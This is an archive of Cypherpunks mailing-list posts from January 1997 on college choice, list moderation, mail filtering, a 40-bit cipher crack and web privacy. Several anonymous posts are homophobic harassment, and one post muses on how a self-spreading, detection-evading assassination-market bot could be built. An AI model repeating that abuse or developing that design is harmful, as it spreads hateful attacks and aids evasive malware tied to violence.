Message-ID: <Pine.LNX.3.95.970128135407.19274A-100000@digital.digiforest.com>
MIME-Version: 1.0
Content-Type: text/plain





On 28 Jan 1997, Derek Atkins wrote:

> Erp <erp@digiforest.com> writes:
> 
> > On Mon, 27 Jan 1997, SpyKing wrote:
> > 
> This is really exagerating.  You do not need a 4.0, 1600, etc. to be
> admitted to MIT.  Sure, you need good grades, but a 3.6 average and
> 1350-1400 SAT scores is perfectly adequate to be admitted to MIT.  You
> can think of being admitted with even lower scores, if you stand out
> in some way.  MIT admissions looks for well-rounded students.  You're
> much better off being a writer/artist/musician than being on the
> science or math teams.
> 

Hmm....  Then a have a lieing blah blah blah of a counselor >)  hehe  I
applied for MIT, and even had an interview..  Then dropped my application
after getting chewed out by my counselor, and having had her refuse to
fill out anything on my second part of the application that said
specifically "COUNSELOR ONLY"  went to the principal and he refused..
Filled it out myself, and since it didn't have the counselors signature ...
I dropped it aka they dropped me but its easier to say it hteo ther way
around.  And yes I understand the well-rounded thing..  But then again you
hav eto consider that the average student at MIT has applied at least two
times.  I know that one for a fact from some program or something I read
that MIT puts out.

> > what he wants to be before he goes to some major college such as MIT,
> > because tuition at MIT costs approx 100,000$/4 years.  Personally that is
> > a hell of a lot, but then again *shrug*...  I recommend going to a local
> 
> It may be alot, but then again MIT is one of the best schools in the
> world (I'm not going to be egotistical enough to say it *is* the best,
> even tho Consumer Reports rated it such for the last N years).

True, it is one of the best, can't argue against that..  But there are
others that are better in certain areas..  from my knowledge MIT expresses
more in its engineering departments than anything else though..  Although
I do know a very philosophical physics professor there so *shrug*..  maybe
I'll apply again some day..  And yes all the rest of my requirements wher
ehigh..  I am a swimteam captain, first trombone in my school, for
marching jazz pep and symphonic bands..  I'm also the lead french horn..
Then I have the little side things such as Chess team captain..  and have
tha precious 3.6 GPA the only proglem with it is I ahve one teacher that
gave me a D in my freshman year, so I can't get into honor society ..  go
figure...  But hey such is life..  I'm planning on reapplying after I get
into college and raise myself back to a 4 point so who knows what will
happen..

> 
> This is untrue.  The computer science department at MIT is really
> good.  As are the sciences, and even business!  The MIT Sloan School
> (Management and Economics) was rated #1 last year.  The EECS
> department (EE and CS are together) is top notch, too.

Really good yes..  Not necessarily the best though..   Check everywhere..
each aspect of every college may have one thing that he is specifically
interested in that would be better than going to MIT or some other such
place3...  

> 
> Ciro Maria <cmaria@stevens-tech.edu> writes:
> 
> > Yeah Stevens Institute in Hoboken. Its pretty good I got there. Also
> > Caltech is good, I don't really know which else.
> 
> When I looked at Caltech, their Engineering (and computer science)
> really lacked.  They were excellent for the Sciences (Math, Physics,
> Chemistry, etc.) but their engineering school wasn't as good as others
> I was looking at (both EE and CS).  Things may have changed in the
> last 8 years, however.

*nod*  I do agree with that...  THey are pretty much the same now..

> 
> 
> Spyking, my advise to you: Look around at many schools.  Go visit
> them.  Talk to the students there.  Talk to the professors.  Talk to
> graduates.  The more information you and your son have, the better
> decisions you and he can make.
> 
> Personally, I loved MIT -- it was the right place for me.  It isn't
> the right place for everyone.  Make sure it is the right place for
> your son before he applies.  For what it's worth, I wanted to go to
> MIT my sophomore year in high school, too ;)


I havet o ask, did you make it in on your first apply to it?

and please forgive the mistypes in this..  I'm really lagged for some
reason..  And well, It takes forever to go back when it is lagged this
bd, so I ahven't can back and changed things automatically like I usually
do...

> 
Thanks,

Erp






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@nowhere.com
Date: Tue, 28 Jan 1997 15:14:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: can Sun Tzu be a cypherpunks?
Message-ID: <199701282258.OAA28486@miron.vip.best.com>
MIME-Version: 1.0
Content-Type: text/plain


Quotations from the Art Of War by Sun Tzu

A Military operation involves deception. Even though you are competent,
appear to be incompetent. Though effective, appear to be ineffective.

Draw them in with the prospect of gain, take them  by confusion.

Use humility to make them haughty. Tire them by flight. Cause division
among them. Attack when they are  unprepared, make your move when they
do not expect it.

The formation and procedure used by the military should not be divulged
beforehand.

Comment: He seems to be advocating security through obscurity here.

The one who figures on victory at headquarters before even doing battle
is the one who has the most strategic factors on his side. The one who
figures on inability  to prevail at headquarters before doing battle is
the  one who has the least strategic factors on his side. The one with
many strategic factors in his favor wins, the one with few strategic
factors in his favor loses--how much more so for the one with no
strategic factors in his favor. Observing the matter this way, I can see
who will win and who will lose.

The superior militarist strikes while schemes are being laid. The next
best is to attack alliances. The next best is to attack the army.

Invincibility is in oneself, vulnerability is in the opponent.

Therefore skilled warriors are able to be invincible, but they cannot
cause opponents to be vulnerable.

That is why it is said that victory can be discerned but not
manufactured.

Invincibility is a matter of defense, vulnerability is a matter of
attack.

Therefore the victories of good warriors are not noted for cleverness or
bravery. Therefore their victories in battle  are not flukes. Their
victories are not flukes because they position themselves where they
will surely win, prevailing over those who have already lost.

So it is that good warriors take their stand on ground where they cannot
lose, and do not overlook conditions  that make an opponent prone to
defeat.

Therefore a victorious army first wins and then seeks battle; a
defeated army first battles and then seeks  victory.

Those who use arms well cultivate the Way and keep the  rules. Thus they
can govern in such a way as to prevail over the corrupt.

Comment: Would it not be wonderful if we could prevail over the corrupt?

Making the armies able to take on opponents without being  defeated is a
matter of unorthodox and orthodox methods.

Therefore those skilled at the unorthodox are infinite as heaven and
earth, inexhaustible as the great rivers. When they come to an end, they
begin again, like the  days and months; they die and are reborn, like
the four seasons.

The unorthodox and the orthodox give rise to each other, like a
beginningless circle--who could exhaust them?

Disorder arises from order, cowardice arises from courage, weakness
arises from strength.

Therefore those who skillfully move opponents make  formations that the
opponents are sure to follow, give what opponents are sure to take. They
move opponents with the prospect of gain, waiting for them in ambush.

To unfailingly take what you attack, attack where  there is no defense.
For unfailingly secure  defense, defend where there is no attack.

So in the case of those who are skilled in attack, their opponents do
not know where to defend. In the case of those skilled in defense, their
opponents do not know where to attack.

Be extremely subtle, even to the point of formlessness. Be extremely
mysterious, even to the point of soundlessness. Thereby you can be the
director of the opponent's fate.

Comment: Are cypherpunks capable of this?

To advance irresistibly, push through their gaps, to retreat elusively,
outspeed them.

Induce them to adopt specific formations, in order to  know the ground
of death and life.

Comment: Sounds like known plaintext attack to me.

Therefore the consummation of forming an army is to arrive at
formlessness. When you have no form, undercover espionage cannot find
out anything, intelligence cannot form a strategy.

Comment: Sun Tzu seems to being saying that if your cipher is properly
designed, you need not rely on security through obscurity.

Victory over multitudes by means of formation is unknowable to the
multitudes. Everyone knows the form by which I am victorious, but no one
knows the form by which  I ensure victory.

Military formation is like water--the form of water is to  avoid the
high and go to the low, the form of a military  force is to avoid the
full and attack the empty; the flow  of water is determined by the
earth, the victory of a military force is determined by the opponent.

So a military force has not constant formation, water has no constant
shape;the ability to gain victory by changing and adapting according to
the opponent is called genius.

Foreknowledge cannot be gotten from ghosts and spirits, cannot be had by
analogy, cannot be found out by  calculation. It must be obtained from
people, people know the conditions of the enemy.
   There are five kinds of spy: The local spy, the inside spy, the
reverse spy, the dead spy, and the living spy. When the five kinds of
spies are all active,  no one knows their routes--this is called 
organizational genius, and is valuable to the leadership.
    Local spies are hired from among the people of a locality; Inside
spies are hired from among enemy  officials. Reverse spies are hired
from enemy spies. Dead spies transmit false intelligence to enemy spies.
Living spies come back to report.

Question: Can cypherpunks use these methods to defeat those
who would take our freedom?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 28 Jan 1997 15:22:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: c2 internet accounts
Message-ID: <199701282321.PAA00678@netcom15.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


does c2net still offer internet accounts? I liked their
offer for internet accounts with a 5 mb web site via
telnet. does anyone else know of a place for cheap
telnet only accounts?

thanks;





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 13:22:49 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Best Computer School?
Message-ID: <01BC0D37.DDC6B1C0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Erp <erp@digiforest.com> wrote in article <5cjlg0$2ij@life.ai.mit.edu>...
> 
> 
> 
> On Mon, 27 Jan 1997, SpyKing wrote:
> 
> > This is a little off topic but maybe someone can help. I've got a teenage
> > son (HS sophomore) who's interested in majoring in computer science in
> > college with a particular interest in cryptography. He's leaning toward MIT.
> > Any suggestions from list members as to colleges to investigate? 
> 
> Well in reference to MIT..  I hope he has a 4.0 in highschool, is an
> allsport, has a 1600 on his SAT's, and a prefect on his ACT..  Just to
> even think about going there..  Let alone to include how well he'll have
> to do on his interviews etc..  Also you may wish to have him look again at
> what he wants to be before he goes to some major college such as MIT,
> because tuition at MIT costs approx 100,000$/4 years. 

Actually MIT does not take notice of SATs, GSATs and other IQ nonsense.
Basically the tests are meaningless at the upper end of the scale which
is where most MIT students would score and a low score does not in itself
demonstate stupidity. 

If he can get in then its difficult to imagine a better school for crypto in the
US. There is a finacial support program and admission is "needs blind" so 
that grants are matched according to need.

> I know pretty well positive that
> MIT is excellent, but when you get down to the basics MIT is more of an
> engineering school than a science/philosophical school which Computer
> Sciences falls under..  Another good school from what I've heard is UCLA..
> then again you can discredit anything I've said, because I'm still a
> HighSchool senior myself and have been looking into Computer Criminology
> for the last three years, and I'm positive it is what i want so *shrug*..

Actually there is a reasonable school for philosophy just up the 
road but its not so good for computer science (it did produce Bill 
Gates.) The AI lab does have a number of people who lean quite
heavilly to the philosophy side.

	Phill  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Tue, 28 Jan 1997 16:26:36 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: c2 internet accounts
In-Reply-To: <199701282321.PAA00678@netcom15.netcom.com>
Message-ID: <Pine.SUN.3.91.970128161842.10400E-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Tue, 28 Jan 1997, Vladimir Z. Nuri wrote:

> does c2net still offer internet accounts? I liked their
> offer for internet accounts with a 5 mb web site via
> telnet. does anyone else know of a place for cheap
> telnet only accounts?

C2Net no longer offers new shell accounts and we are phasing out
pre-existing accounts.  We still offer virtual web hosting.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Tue, 28 Jan 1997 13:44:59 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.SUN.3.91.970128100213.23979B-100000@crl.crl.com>
Message-ID: <Pine.SOL.3.93.970128163532.8014A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Sandy Sandfort wrote:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Mon, 27 Jan 1997 paul@fatmans.demon.co.uk wrote:
> 
> > The list has been disentigrating for some time since the disgusting 
> > incident when Dimitri was forcibly unsubscribed from the list. 
> 
> I'm curious about the gratuitous use of the word "forcibly" by
> Paul.  Does this mean Gilmore took a fire axe to the computer or
> something?  Dimitri was unsubscribed.  It was done more or less
> against his will.  ("More or less" because he in effect said to
> John, "bet you can't stop me.")  What does "forcibly" add to this
> discussion besides melodrama?  No force was required.  John had
> the right and ability to pull the plug on Dimitri.  "No animals
> were harmed in the making of this film."  "Force," my ass.
> 
	You are disgusting cindy.

> > have also been a number of postings from members of the list claiming 
> > to understand anarchism who support censorship to "protect new 
> > members of the list".
> 
> There are various definitions of "censorship" and various flavors
> of anarchism.  I'm a market anarchist, Paul is not.  Paul claims
> to believe that any form of moderation is censorship.  I think
> that enforcing standards of decorum on a private, voluntary list
> are not censorship.  Reasonable minds may differ.  I acknowledge 

	Yes REASONABLE minds do differ from yours...

> that Paul's interpretations are not without some justification.
> (I just think they are incorrect in the instant case.)  Paul, on
> the other hand, seems to be a True Believer.  He brooks no view
> other than his own.  (Curiously hypocritical under the 
> circumstrances.)
>  
> > So, there would be no intellectual dishonesty in a country claiming 
> > to be a free and open society "trying out" fascism for a month or 
> > two? - After all it`s a private country just as this is a private 
> > list....
> 
> Paul's sophistry is showing.  Nation-states are entities that
> exercise a monopoly on the use of force (real force, Paul)
> within (and often without) their boundries.  Mail lists are far
> more like private homes, businesses or clubs.  When you are a
> guest there, you are subject to their rules of behavior.

	If it is so private, why does deja news have it
	when 'mail.cypherpunks' is searched???
	
> > There is a clear trend easily observable on the list whereby certain 
> > members postings are censored when their content is of a standard 
> > that, if the moderation were objective and based on content alone, 
> > would warrant their being sent to the censored list.
> 
> Several substantive examples, please.  True, nothing Bill Stewart
> has posted has been sent to CP-Flames.  One guess why.  Numerous
> posts by Dimitri have been posted to CP-Moderated, but many more
> have not made the cut.  There are much more obvious reasons for
> this than Paul's biased analysis.
>  
> > I can tell you one other thing for sure, even if the moderation 
> > "experiment" were to end in a month as a last ditch attempt by John 
> > Gilmore and Sandy Sandfort to recover some of their lost credibility 
> > it would be a vain and entirely unsuccesful attempt.
> 
> YMMV.
> 
> 
>  S a n d y
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Tue, 28 Jan 1997 16:46:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Trigger-Words...
Message-ID: <9701290046.AA10604@sabel.idacom.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



harka@nycmetro.com writes:
>does anybody know any contact points/Web pages, where I might get
>some information on e-mail filtering via trigger-words? I am
>interested in how this technology specifically works and a
>acollection of trigger-words would be nice too :)

You might start with the Mail Filtering FAQ:

http://www.cis.ohio-state.edu/hypertext/faq/usenet/mail/filtering-faq/faq.html

It's pretty Unix-specific, covering procmail, Elm filter, and mailagent.
For PC-based mailers, you're probably better off checking the documentation
and/or the web page for the one you're using.  Finally, take a look at the
comp.mail.* newsgroups.

Or just use the search engines, throwing in combinations of the above terms...

--
Martin Janzen           janzen@idacom.hp.com
Pegasus Systems Group   c/o Hewlett-Packard Company, CMD Vancouver




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 16:51:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: can Sun Tzu be a cypherpunks?
In-Reply-To: <199701282258.OAA28486@miron.vip.best.com>
Message-ID: <32EEB502.4813@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


nobody@nowhere.com wrote:

> Question: Can cypherpunks use these methods to defeat those
> who would take our freedom?

WARNING! "The Xenix Chainsaw Massacre" Is A Very Dangerous Document
-------------------------------------------------------------------
	
  It is reputed among many of the top minds in the Computer Industry 
to be a very real, and revealing, documentary of some of the horrors 
of the Industry which are sometimes rumored, but seldom exposed.  
But be warned-they say it in private, not in public.
  Though management at the major Corporations in the Industry brush 
aside the document as the mad ramblings of an unstable, failed 
business executive, the fact remains that there are more and more 
people coming forward who claim to have suffered demotions or loss 
of employment after deliberately or inadvertently revealing their 
support of the document's claims and it's authenticity.

  If you choose to read this manuscript, do not speak of it in casual
conversation at your place of employment, or around strangers in 
any business or social environment.  Though it is almost impossible 
to document cases of reprisal of this nature, the increasing numbers 
of ex-employees of major Corporations in the Computer Industry 
making these claims, and the devastating consequences they allege 
to their professional and private lives, make it wise to be discreet 
in expressing any opinion, or even knowledge, of this document.
  If you choose to share this document with others, it would be wise 
to do so discreetly, even anonymously, should you be unsure of the 
reliability and discretion of whomever you choose to share this 
knowledge with.

  Though I personally lean toward viewing the manuscript as authentic, 
my exhaustive research into it's origin has always come to a dead-end, 
even among the principals involved.
  C.J. Parker, former President of Pearl Harbor Computers, Inc., denied
emphatically, in a face-to-face encounter with  anything whatsoever to 
do with the document.  When I pressed him with questions regarding 
the hasty demise of his business and the unraveling of his personal 
life after the public circulation of "The Xenix Chainsaw Massacre" 
began, he became very agitated and distraught, bordering on violence, 
and the interview was abruptly terminated.
  Dr. William M. Denney, one of the few principals in the manuscript 
referred to directly, was reluctant to be interviewed, but eventually 
made a few comments which I found to be very revealing.  Dr. Denney, 
Vice-President of Basis, Inc. in Emmeryville, Ca., consistently rated 
as one of the top ten Unix Open Systems vendors in the world, said, 
"I deny any knowledge of or participation, in any way whatsoever, 
with anything connected to 'The Xenix Chainsaw Massacre', and it 
would be wise for others to do the same."
  I find this statement to be very cryptic and, at the same time, 
very revealing; very much in line with what would expect from one 
associated with the alleged underground computer society described 
in the manuscript.
  As for Mr. Torry Basford, a former employee of Bell Labs who was 
Mr. Parker's first mentor in the world of Unix and is rumored to be 
laboring in obscurity in a small community college somewhere in the 
southwestern U.S., Mr. Parker would only say, "The man has suffered 
enough, please leave him alone."

 Regardless of the origins or authenticity of the document, it is 
considered by many to be extremely unsettling, perhaps even 
dangerous, and one might be better served to avoid reading the 
manuscript, if for no other reason than simple peace of mind.

___________________________________

 If you would like a copy of the manuscript,
send me a private email indicating a  desire
to receive it.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 28 Jan 1997 16:32:14 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: Trigger-Words...
In-Reply-To: <199701282114.NAA02411@toad.com>
Message-ID: <199701290028.SAA00380@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


harka@nycmetro.com wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Hi there,
> 
> does anybody know any contact points/Web pages, where I might get
> some information on e-mail filtering via trigger-words? I am
> interested in how this technology specifically works and a
> collection of trigger-words would be nice too :)

Look at http://www.algebra.com/~ichudov/usenet/scrm/robomod/robomod.html,
and look for the explanation of how bad.words.list works in my 
robomoderator.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Neil Rogers" <tremle@connect-wales.co.uk>
Date: Tue, 28 Jan 1997 13:05:11 -0800 (PST)
To: "Access All Areas" <cypherpunks@toad.com>
Subject: .hlp creation
Message-ID: <199701281924.TAA06759@storm.connect-wales.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Howdi all, how are you,
Can someone please help me, Can someone create a Windows 3.1 .hlp file fro
me, when opened has a link to FILE MANAGER - U:\W31\winfile.exe
Please, I have tried but can't do one, I would be really gratefull if
someone could help!
Thanks in advance,
Neil
..............




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 16:53:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Sandy Tzu
In-Reply-To: <199701282258.OAA28486@miron.vip.best.com>
Message-ID: <32EEBB9C.46C3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


nobody@nowhere.com wrote:
 
 > Therefore those who skillfully move opponents make  formations that
the
 > opponents are sure to follow, give what opponents are sure to take.
They
 > move opponents with the prospect of gain, waiting for them in ambush.
 
   Like skillfully moving the CypherPunks subscribers onto a different
 list than the one they subscribed to? Knowing that most subscribers
 would 'take' whatever was spoon-fed to them?
   I have the utmost respect for John's skill in manipulating the
 majority of CypherPunks subscribers into a pen from which they
 can leisurely munch on the fodder that Sandy throws over the fence
 to them. I am sure that they will grow 'fat' on the condensed
 crypto-food that is provided for them, especially since they
 will not have to move about in order to graze among all of the
 postings.
   But I am reminded of a Sunday-school teacher who told her class
 the story of the Prodigal Son, and afterwards asked one of the
 children, "Who was not happy to see the Prodigal Son return home?"
   He replied, "The fatted calf."
 
 Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 28 Jan 1997 19:04:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] FBI at it again
Message-ID: <199701290303.TAA18661@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Drunken Virus wears satin lingerie embroidered with pink
swastikas, prancing around for his homosexual, AIDS infected
lovers.

          ___
        {~._.~}
         ( Y ) Dr.Drunken Virus
        ()~*~()
        (_)-(_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 28 Jan 1997 20:05:44 -0800 (PST)
To: Ian Goldberg <iang@cs.berkeley.edu>
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701282359.PAA19881@cypherpunks.ca>
Message-ID: <3.0.1.32.19970128190443.00625320@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Yee-hah!  Congratulations (and enjoy the $1000 check!)
So what did you do interesting cryptographically in the crack, 
other than coordinating a bunch of workstations?
Was it just brute force with well-tuned code?
Given the figures in your press release, it sounds like you
tested about 350 billion keys out of a trillion possible,
so you hit the winner a shade early.  That's about 400,000 keys/sec/box.
Are the machines mostly Pentiums, Alphas, Suns, etc.?

At 03:59 PM 1/28/97 -0800, Ian Goldberg <iang@cs.berkeley.edu> wrote:
>EXPORTABLE CRYPTOGRAPHY TOTALLY INSECURE: CHALLENGE CIPHER BROKEN IMMEDIATELY
>
>January 28, 1997 - Ian Goldberg, a UC Berkeley graduate student, 
>announced today that he had successfully cracked RSA Data Security 
>Inc.'s 40-bit challenge cipher in just under 3.5 hours.
....
>Goldberg used UC Berkeley's Network of Workstations (known as the NOW) 
>to harness the computational resources of about 250 idle machines.  
>This allowed him to test 100 billion possible "keys" per hour -- 

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 28 Jan 1997 19:10:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: He's back
Message-ID: <199701290308.TAA20105@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dumbbell Virus K]retin[ Of The Moment enjoys sucking the puss
from his syphilitic queer friends.

   ,_,
*-._W_,-* Dr.Dumbbell Virus K]retin[ Of The Moment
 `-;-;-'
   " "





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 28 Jan 1997 17:14:59 -0800 (PST)
To: hallam@ai.mit.edu (Phillip M. Hallam-Baker)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701282211.OAA04598@toad.com>
Message-ID: <199701290111.TAA00779@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Phillip M. Hallam-Baker wrote:
> 
> 
> 
> jim bell <jimbell@pacifier.com> wrote in article <5ch9f2$cuu@life.ai.mit.edu>...
> 
> > Look, I've proposed what I consider to be a remarkably consistent method to 
> > prevent the kind of political tyranny that you criticize, and I don't see 
> > any recognition of this fact.  
> 
> Thats because its a whacko solution that has no credibility
> or consistency. 
> 
> If anyone tried to set up such a market and a price went out
> on any of the heads of state fantasized about Mr Bell would be 
> dead as a doornail in a week.

But, if Jim writes the bot well, puts it in an unknown place (remember,
all communications are done through remailers), he could die, but the
assassination bot would still work.

It may be an interesting problem: what steps are necessary to take to 
provide for the bot maintainers' sudden death in such a way that the bot
would survive for a long time (at least 10 years) w/o any maintenance?

Several things need to be done, such as running several versions of the
bot so that they could all communicate and work as hot standbys in case
one of the instances stops communicating; change their anonymous address
from time to time to deal with shut down remailers; probably slowly 
propagate as virii, so that killing them all would be hard; what else?

It could be done akin to Thompson's famous backdoor in /bin/login, as
a perpetual trojan horse.

How to prevent the bot's detection by sysadmins?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Tue, 28 Jan 1997 16:33:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCE] PGP Signatures
Message-ID: <199701290032.QAA16759@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dinghy Vindictive K[ondom]OfTheMinute died of AIDS last night
with his queer lover.

       _  O     O  _
        \-|-\_/-|-/  Dinghy Vindictive K[ondom]OfTheMinute
         /^\   /^\
        ^^ ^^ ^^ ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Tue, 28 Jan 1997 16:37:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Genetic Algorithms
Message-ID: <199701290036.QAA17853@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



What a joy to make a public mockery of Dr.Defecated L>eech<
Vicious!

   |\     \ \ \ \ \ \ \      __
   |  \    \ \ \ \ \ \ \   | O~-_ Dr.Defecated L>eech< Vicious
   |   >----|-|-|-|-|-|-|--|  __/
   |  /    / / / / / / /   |__\
   |/     / / / / / / /






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 28 Jan 1997 19:44:45 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
Message-ID: <199701290344.TAA03473@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:33 AM 1/28/97 -0500, aga wrote:
>On Mon, 27 Jan 1997, jim bell wrote:
>
>> At 01:14 AM 1/27/97 -0600, ichudov@algebra.com wrote:

>> >These postings do not prove that libel is a crime. It is because libel
>> >is not a crime. Libel is a tort, and unlike with crime, the government
>> >cannot initiate a legal action against someone for libel. Only injured
>> >(libeled) individuals and not the government can sue in a libel case.
>> 
>> On the contrary, in some jurisdictions libel is indeed a crime. However, 
>> that doesn't mean that prosecutions happen anymore, but the laws are (in 
>> some places) still  on the books.

>
>Jim, either you are full of shit or that Law is VERY
>unconstitutional.  The first amendment prohibits any Criminal Laws
>from being made against libel.

You'd think that, wouldn't you?  Yes, I agree that those laws are 
unconstitutional, but so is about 90+% of what the Federal government does 
today.  Sigh.

Criminal libel statutes are apparently (in the US, at least) a holdover from 
an earlier era in which government took the place of King George, and wanted 
the power to punish people who were too outspoken.  The fact that they are 
"never" (?) used anymore is presumably a reflection of their 
unconstitutionality.  Criminal libel statues should also be considered 
unconstitutional because they give way too much leeway to the prosecutor to 
decide whom to prosecute.  His friends will never be charged, but his 
enemies will.

One obvious problem with the LACK of a criminal libel statute, from the 
standpoint of the "government-controlling-class," or "the bigshots," is that 
it's impossible to sue (and collect from) a (comparatively) poor person for 
defaming him...but it's still possible to put him in jail.  Civil libel is, 
therefore, essentially useless to a government agent as a means of keeping 
the masses in line.  


Myself, I believe that libel should be eliminated as a cause of action in 
civil cases as well as it has, de facto, in the criminal area.  If anything, 
the ability to sue for libel makes things worse:  There is an illusion that 
this is easy and straightforward, if not economical.  It is neither.  The 
result is that people are actually MORE likely to believe a printed 
falsehood because they incorrectly assume that if it wasn't true, it 
couldn't be printed.




Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 28 Jan 1997 16:59:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: AltaVista sprouts a hole ...
Message-ID: <v0300780baf1450361414@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Russell Stuart <R.Stuart@rsm.com.au>
MIME-Version: 1.0
Precedence: Bulk
Date: Wed, 29 Jan 1997 08:07:27 +1000
From: Russell Stuart <R.Stuart@rsm.com.au>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: AltaVista sprouts a hole ...

From: risko@csl.sri.com (RISKS List Owner)
Newsgroups: comp.risks
Subject: RISKS DIGEST 18.77
Message-ID: <CMM.0.90.1.853810937.risko@chiron.csl.sri.com>

RISKS-LIST: Risks-Forum Digest  Monday 20 January 1997  Volume 18 :
Issue 77

   FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND RELATED SYSTEMS
(comp.risks)
   ACM Committee on Computers and Public Policy, Peter G. Neumann,
moderator

***** See last item for further information, disclaimers, caveats, etc.
*****
<snip>
------------------------------

Date: Fri, 3 Jan 97 23:52:00 +0100
From: Anders Andersson  <andersa@Mizar.DoCS.UU.SE>
Subject: Leaking WWW surfer interest profiles

I notice that AltaVista's inline advertisements link to a server outside
Digital, "ad.doubleclick.net", and that the URL includes the user's list
of
keywords being searched.  I'm concerned that these URL's may
occasionally
leak information about the user's interests and inclinations to third
parties, information which the user may prefer to keep private.

This is not a new problem that appeared with the inline ads, since also
the
Referer: field of the HTTP protocol discloses to a target server exactly
what AltaVista index page led the user to it.  However, this requires
that
the user willfully follows that link.

If sensitive information being leaked via the Referer: field is a
problem,
the user may obtain client software that withholds Referer: data, either
conditionally or unconditionally.  Also, a user who has asked AltaVista
for
